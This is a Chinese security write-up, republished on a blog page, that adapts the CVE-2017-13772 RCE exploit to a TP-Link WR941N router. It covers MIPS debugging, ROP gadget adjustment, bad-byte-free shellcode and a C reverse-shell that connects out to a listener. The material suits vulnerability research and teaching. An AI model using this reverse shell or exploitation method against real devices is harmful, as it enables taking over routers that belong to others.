TP-LINK WR941N路由器研究

作者:Hcamael@知道创宇404实验室

之前看到了一个CVE, CVE-2017-13772 是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是 CVE-2017-13772 文章中给的EXP并不通用

所以准备进行复现和exp的修改,折腾了将近4天,记录下过程和遇到的坑

第一次研究mips指令的RCE,之前只学了intel指令集的pwn,所以进度挺慢的

Day 1

第一天当然是配环境了,该路由器本身在默认情况下是不提供shell的,在@fenix帮助下获取到了路由器的shell,该款路由器上的busybox的命令比较少,curl, nc, wget这些命令都没有,只能用tftp进行数据传输,而且只有 /tmp 目录可写,路由器重启后,传上去的文件就没了,这些问题都可以通过刷固件解决,不过太麻烦了,只需要传上去一个 gdbserver 就好了,能根据固件中的bin得知这是一个大端mips指令集的设备, gdbserver 也不用自己编译,直接下编译好的: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

把 gdbserver.mipsbe 通过tftp上传到路由器的 /tmp 目录下

然后根据 cve-2017-13772 分析文章说的那样使用gdbserver attach httpd最新的一个进程,然后就可以进行远程gdb调试了

Day 2

第二天准备开始调试,但是发现gdb的两个编译选项, 一个 --host ,表示gdb运行的环境,一般默认就是本机环境,还有一个 --target 表示调试的目标环境,默认也是本机环境,所以一个64位ubuntu上默认的gdb只能调试64 elf程序。所以需要设置--target=mipsbel-linux参数进行编译gdb,才能调试大端的mips程序。

编译差不多编译了半天,准备改天搞一个8核的机器专门来编译程序....

编译成功后,就可以进行远程调试了,在路由器上执行:

> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid

然后使用编译好gdb进行调试:

$ gdb(gdb) target remote 192.168.1.1:12345

但是失败了,又折腾了半天

Day 3

第三天才真正的开始调试程序,首先说说我第二天遇到的问题,问题是下了断点没用,原因比较傻逼,我下断点的地址是wr940n的地址,我把两个bin搞混了

然后根据cve-2017-13772分析文章中说的栈溢出的指令,在wr941n中也找到了该指令,而溢出情况也是一样,所以拿了wr940n的exp来打了一遍,结果当然是失败了。

在wr940n的exp中,ROP是在libuClibc-0.9.30.so中找的,根据$ cat /proc/pid/maps命令,发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的,然后再比较libuClibc-0.9.30.so文件的hash值,发现不同,所以要修改ROP地址。

由于libc文件太大,用手找太累了,所以使用了那篇文章中的ida的mipsrop插件,这里又踩了一个坑,因为我用的是ida7.0,而这个插件只能在ida6.8(更低的没试过)版本使用。

修改了ROP后,再进行尝试exp,发现仍然失败,然后进行调试查看原因,跟踪ROP执行流,发现能成功跳转到栈上执行shellcode,但是shellcode和文章中的,文章中的shellcode开头有一个使用xor进行解密的过程,执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode

Day 4

第四天就是开始写shellcod,首先给个mips指令和bin互转的网站:Online Assembler and Disassembler

然后说说写的过程中遇到的问题,该路由器输入是不接受\x00和\x20,所以ROP不是在ELF中寻找而是去libc中寻找:libuClibc基地址:0x2aae000, httpd基地址:0x00400000

如果在ELF中寻找ROP,则地址中总会有个\x00,所以ROP是在libc中寻找不存在\x00和\x20的地址。但是在shellcode中,这两个字符却很难避免,所以那篇文章中对shellcode进行了xor加密

wr940n的exp使用的是一个bind shell的shellcode,而我改成了一个反弹shell的shellcode

然后就是最后遇到的一个大坑,使用gdb调试成功的一个反弹shell的shellcode,在实际测试中却失败了,使用gdb成功,直接打失败,因为这个问题折腾了挺长的时间

然后查阅资料,在看雪的一篇文章中找到了原因:https://www.kanxue.com/article-read-218.htm

mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache:指令 cache 和数据 cache。指令和数据分别在两个不同的缓存中。当缓存满了,会触发 flush,将数据写回到主内存。攻击者的攻击 payload 通常会被应用当做数据来处理,存储在数据缓存中。当 payload 触发漏洞,劫持程序执行流程的时候,会去执行内存中的 shellcode。 如果数据缓存没有触发 flush 的话,shellcode 依然存储在缓存中,而没有写入主内存。这会导致程序执行了本该存储 shellcode 的地址处随机的代码,导致不可预知的后果。 最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep 的过程中,处理器会切换上下文让给其他正在执行的程序,缓存会自动执行 flush。

这个坑点在那篇文章中也提及了,但是没具体说明,如果没实际踩一踩,不一定能理解。但是讲道理,如果直接用wr940n的exp,修改下ROP地址和shellcode,应该是不会遇到这个坑的,但是我仍然遇到了,经过研究发现,是usleep的问题,猜测是由于堵塞的时间过短所以未执行flush?然后进行实际测试了一番,把usleep的时间修改为18217,同样没用,然后简单看了下两者的汇编,发现usleep只是简单的调用nanosleep,而sleep除了调用nanosleep还进行其他相关的操作,网上没搜到相关文章,因为精力有限,作为遗留问题,以后有时间的时候再继续研究。

不过有几个猜测,

  1. 时间问题,usleep的单位是微秒,18217也只有10ms,是不是要睡到1s?因为找不到合适的ROP,所以暂时没法证明
  2. flush内存是靠sleep中的几个信号相关的函数?

所以最终我的做法是在wr940n的exp的ROP链中,调用的是usleep(0xc*2+1),但是我将usleep改成sleep => sleep(0xc*2+1),数据缓存被成功flush到主内存中,就能成功执行shellcode了

Shellcode 编写

在本次研究中,最后时间的除了一开始的调试环境搭建外,就是shellcode的编写了,因为在那篇cve分析的文章中已经给出了wr940n的exp,ROP只需要修改修改地址就好了,所以工作量最大的还是在Shellcode的编写这一部分

首先是syscall部分,比如:

li $v0, 4183 syscall 0x40404 # sys_socket

  • mips采用的是RISC,32位系统下,指令固定采用4byte,syscall的字节码是\x0c,剩余的三字节默认用\x00补全,但是因为路由器不接受\x00的输入,所以在大端的情况下改成\x01\x01\x01\x0c,进行反汇编,就是syscall 0x40404

系统调用的相关函数除了几个mips特有的,其他的都是跟linux下的syscall一样,可参考: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

比如sys_socket:

#define __NR_Linux 4000 #define __NR_socket (__NR_Linux + 183)

所以$v0=4183表示的就是socket函数,具体参数信息可以去参考linux的系统调用: http://asm.sourceforge.net/syscall.html

int sys_socket(int family, int type, int protocol)

现在,先用c来实现一遍反连shell的代码:

$ cat test.c #include<stdlib.h> #include <sys/socket.h> #include <netinet/in.h> #include <unistd.h> int main(void) { int sockfd; sockfd = socket(2,2,0); struct sockaddr_in addr; addr.sin_family = 2; addr.sin_port = 0x3039; addr.sin_addr = 0xc0a80164; connect(sockfd, &addr, sizeof(addr)) dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2); execve("//bin/sh", 0, 0); return 0; }

这里有个关键点,https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

和其他架构不一样,mips架构中,tcp是2,udp是1

所以上面的代码比如在ubuntu中,是一个udp反连的代码,但是在mips中就是tcp反连

还有一点就是wr941n是大端,所以12345端口是0x3039而不是0x3930,ip地址同理

然后把上面代码转换成mips指令的汇编

但是有个问题,之前说了该路由器不接收\x00和\x20两个字符,而上面的汇编转换成字节码:

nor $a0,$t7,$zero => "\x01\xe0\x20\x27"

所以要把这句指令进行修改, 因为$a0和$a1的值都为2,所以可以这样修改:

sw $a1,-1($sp) => "\xaf\xa5\xff\xff" lw $a0,-1($sp) => "\x8f\xa4\xff\xff"

把上面的汇编转成shellcode替换exp中的shellcode,实际测试,又发现一个问题,设备成功反连了控制端,但是却不能执行命令,到路由器上用ps查看,发现sh已经变为僵尸进程

经研究,问题出在execve("/bin/sh",0,0),如果我修改成execve("/bin/sh", ["/bin/sh", 0], 0)则成功反弹shell,可以任意命令执行

参 考 链 接

[1] https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/

[2] https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver

[3] http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly

[4] https://www.kanxue.com/article-read-218.htm

[5] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h

[6] http://asm.sourceforge.net/syscall.html

[7] https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2017-11-10

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏JavaEdge

操作系统之文件管理一、文件与文件系统二、文件控制块和文件目录三、文件的物理结构四、文件系统的实现五、文件系统实例(UNIX)六、UNIX文件系统一、文件系统实例(FAT)二、文件操作的实现三、文件系统

5446
来自专栏Seebug漏洞平台

Joomla 权限提升漏洞(CVE-2016-9838)分析

0x00 漏洞概述 1.漏洞简介 Joomla 于12月13日发布了3.6.5的升级公告,此次升级修复了三个安全漏洞,其中 CVE-2016-9838 被官方定...

33410
来自专栏智能计算时代

Envoy架构概览(10):热启动,动态配置,初始化,排水,脚本

热启动 易于操作是特使的主要目标之一。除了强大的统计数据和本地管理界面之外,Envoy还具有“热”或“实时”重启的能力。这意味着Envoy可以完全重新加载自己(...

3902
来自专栏java一日一条

RESTful API 最佳实践

在参考了GitHub API设计和大量博客文章后总结了一下RESTful API的设计,分享如下。想要更好的理解RESTful API首先需要理解如下概念:

6462
来自专栏Python中文社区

基于Sanic的微服务基础架构

介绍 使用python做web开发面临的一个最大的问题就是性能,在解决C10K问题上显的有点吃力。有些异步框架Tornado、Twisted、Gevent 等就...

1.4K6
来自专栏大学生计算机视觉学习DeepLearning

c++ 网络编程(二)TCP/IP linux 下多进程socket通信 多个客户端与单个服务端交互代码实现回声服务器

原文链接:https://www.cnblogs.com/DOMLX/p/9612820.html

3609
来自专栏我的博客

开发神器Vim配置

1.在用户根目录建立文件.vimrc【点击下载完整.vimrc】 “.vimrc文件内容如下 set hlsearch                  “高亮...

3768
来自专栏Spark学习技巧

深入了解HBase架构

1972
来自专栏转载gongluck的CSDN博客

Brpc学习:简单回显服务器/客户端

sudo apt-get install git g++ make libssl-dev sudo apt-get install realpath libgf...

2K6
来自专栏Seebug漏洞平台

TP-LINK WR941N路由器研究

是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link WR941N的设备,发现也存在相同的问题,但是CVE-2017-13772文章中给...

4138

扫码关注云+社区

领取腾讯云代金券